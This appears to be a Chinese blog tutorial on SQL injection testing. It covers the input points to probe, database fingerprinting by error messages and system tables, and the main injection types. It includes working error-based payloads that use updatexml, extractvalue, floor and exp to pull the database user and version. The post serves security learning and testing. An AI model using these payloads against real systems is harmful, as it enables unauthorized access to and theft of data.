SQL注入思路详解

一、SQL注入可以分为三个步骤

1.识别Web应用与数据库交互的可能输入(识别潜在注入点)

2.SQL注入语句测试

3.根据服务器返回判定注入语句是否影响了SQL执行结果以判断是否存在SQL注入

 

 

2.识别Web应用与数据库交互的可能输入点

GET请求参数

POST请求参数

Cookie

X-Forword-For

User-Agent

Refer

Host

 

 

3.SQL语句测试

由于现在许多web站点都受到WAF防护或者应用开发者自带的代码层Filter,在判断是否存在Sql注入时,

测试payload越简单越好

 

数字型

数字型

字符型

字符型

 

测试语句

预期结果

测试语句

预期结果

Oracle

'

出现异常

'

出现异常

 

+-&/

运算被执行

'||'

字符串拼接,返回与原来相同

DB2

'

出现异常

'

出现异常

 

+-&/

运算被执行

'||'

字符串拼接,返回与原来相同

SQL Server

+-&/

运算被执行

'

出现异常

 

'

出现异常

'+'

字符串拼接,返回与原来相同

MySQL

+-&/

运算被执行

'

出现异常

 

'

出现异常

'空格'

字符串拼接,返回与原来相同

 

 

 

4.确认SQL注入

确认数据库类型

基于应用开发语言判断

基于报错信息判断

基于特有函数/语句判断

基于特有数据表判断

 

 

基于应用开发语言判断

ORACLE:

JAVA

DB2:

JAVA

SQL Server:

C#、ASP、.NET

MYSQL :

PHP、JAVA

 

 

基于报错信息判断数据库类型

 

Oracle:

###Error querying datgbase.Cause:java.sql.SQLsyntaxErrorException:ORA-01756:quoted string not properly terminated

 

SQL Server:

###Microsoft OLE DB Provider for SQLServer 错误‘80040e14"

 

MYSQL:

You have an error in your SQL syntax;check the manual that corresponds to your MySQL server verslor for the right syntax to use near 1"LIMIt 0,I at line 1

 

基于特有函数/语句判断数据库类型

 

用户

字符连接

数据库名

版本

取位函数

Oracle

user

||

Select global_name from global name

Select version from v$instance

substr

 

DB2

user

||

Select current server from sysibm.sysdummy1

--

Substr()

 

SQL Server

User

User_name()

+

db_name()

@@version

Substring()

 

MySQL

User()

space

database()

Version()

@@version

Substr()

substring

 

 

 

基于特有的数据表判断

 

Oracle

And (select count(*) from sys.user_tables)>0

DB2

And (select count(*) from sysibm.systables)>0

SQL server

And (select count(*) from sysobjects)>0

Mysql

And (select count(*) from information_schema.tables)>0

 

 

 

 

 

5.确认SQL注入方式

SQL注入按照注入方式分类可分为两类

显示注入

Union query

#联合查询注入,通过union联合查询获取查询结果

Error based

#报错注入,通过报错信息获取查询结果

盲注

Boolean based blind

#布尔盲注,通过应用返回不同的值判断田间真假

Time based blind

#时间盲注,通过不同的时间延迟推断条件真假

 

优先级:union query ≥ error based ≥ Boolean based blind ≥ time based blind

 

 

 

 

union注入:比较简单,就不赘述,如有需求可至主页查看博客

 

报错注入:

前提:应用可以输出数据库报错信息

 

floor()

And (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

Upadtexml()

And 1=(updatexml(1.concat(0x3a,(select user()),1))

 

Extractvalue()

And extractvalue(1,concat(0x5c,(select user())))

 

Exp()

And exp (~select * from(select user())a))

 

 

布尔盲注

时间延迟注入

这俩用sqlmap吧,手工会累死人的

 

 

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值